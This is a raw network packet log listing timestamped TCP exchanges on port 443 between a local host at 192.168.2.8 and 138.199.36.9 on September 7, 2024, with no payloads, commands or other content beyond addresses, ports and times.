Sep 7, 2024 23:15:23.519360065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519366980 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.519376040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519391060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519403934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.519433975 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.519439936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519476891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.519901991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519922018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519972086 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.519978046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.519995928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520013094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.520014048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520030975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520045996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.520061016 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.520159960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520173073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520221949 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.520234108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520268917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.520701885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520720959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520768881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.520775080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520809889 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.520823002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520843029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520873070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.520878077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520890951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.520910025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.520972013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.520986080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521029949 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521037102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521070957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521073103 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521081924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521107912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521122932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521128893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521152020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521164894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521169901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521178961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521222115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521229029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521269083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521662951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521677017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521725893 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521732092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521765947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521791935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521809101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521836996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521842003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521867037 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521883011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521893024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521908045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521945000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.521953106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.521989107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.522452116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522468090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522511005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.522516966 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522553921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.522572041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522612095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522629023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.522634983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522646904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.522671938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.522744894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522764921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522793055 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.522799015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522821903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.522831917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522840977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.522846937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522862911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522875071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.522901058 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.522906065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.522942066 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.523329020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.523344040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.523405075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.523405075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.523412943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.523442984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.523489952 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.523509026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.523539066 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.523547888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.523576021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.523590088 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.523662090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.523678064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.523721933 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.523727894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.523760080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.523775101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.523807049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.523833036 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.523839951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.523861885 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.523875952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.524243116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.524257898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.524311066 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.524312019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.524323940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.524342060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.524358988 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.524365902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.524386883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.524393082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.524511099 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.524524927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.524560928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.524568081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.524602890 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.525048971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525065899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525103092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525113106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.525120020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525135040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525156975 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.525162935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525182009 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.525201082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.525227070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525240898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525280952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.525285959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525316000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525326014 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.525336027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525346994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525352001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.525377989 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.525403976 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.525898933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525922060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525955915 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.525962114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.525971889 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.525993109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526009083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526026964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526058912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526063919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526087999 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526118994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526151896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526174068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526206017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526211977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526227951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526269913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526290894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526303053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526309013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526319027 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526400089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526737928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526756048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526794910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526802063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526812077 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526839018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526863098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526879072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526921034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526926041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.526951075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.526976109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527039051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527061939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527101994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527107954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527124882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527126074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527154922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527158976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527172089 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527187109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527225971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527537107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527550936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527595043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527601004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527614117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527643919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527692080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527708054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527755022 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527760983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527803898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527837992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527884960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527899027 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527905941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.527934074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.527956009 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.528239965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528254986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528295040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528306961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.528314114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528327942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528340101 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.528377056 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.528382063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528433084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.528508902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528525114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528570890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528572083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.528582096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528601885 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.528604984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528628111 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.528666973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.528671026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528707981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.528980970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.528996944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529046059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529052019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529073000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529094934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529103041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529119015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529155970 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529164076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529185057 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529206038 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529278040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529300928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529335022 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529340982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529365063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529388905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529391050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529401064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529419899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529447079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529453993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529478073 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529500961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529731989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529783964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529791117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529799938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529846907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529856920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529871941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529916048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529926062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.529943943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.529972076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530044079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530060053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530100107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530105114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530121088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530136108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530143023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530148029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530160904 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530177116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530211926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530495882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530508995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530560017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530565977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530576944 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530603886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530632019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530647039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530694008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530699968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530721903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530745983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530760050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530775070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530814886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530819893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.530843973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.530869007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531095028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531110048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531148911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531155109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531177044 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531203985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531213045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531240940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531291008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531299114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531311035 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531342983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531353951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531368017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531404972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531410933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531433105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531440020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531456947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531462908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531482935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531482935 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531513929 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531519890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531544924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531577110 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531790972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531805038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531852961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531858921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531882048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531899929 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531929970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.531948090 CEST	443	49706	138.199.36.9	192.168.2.8
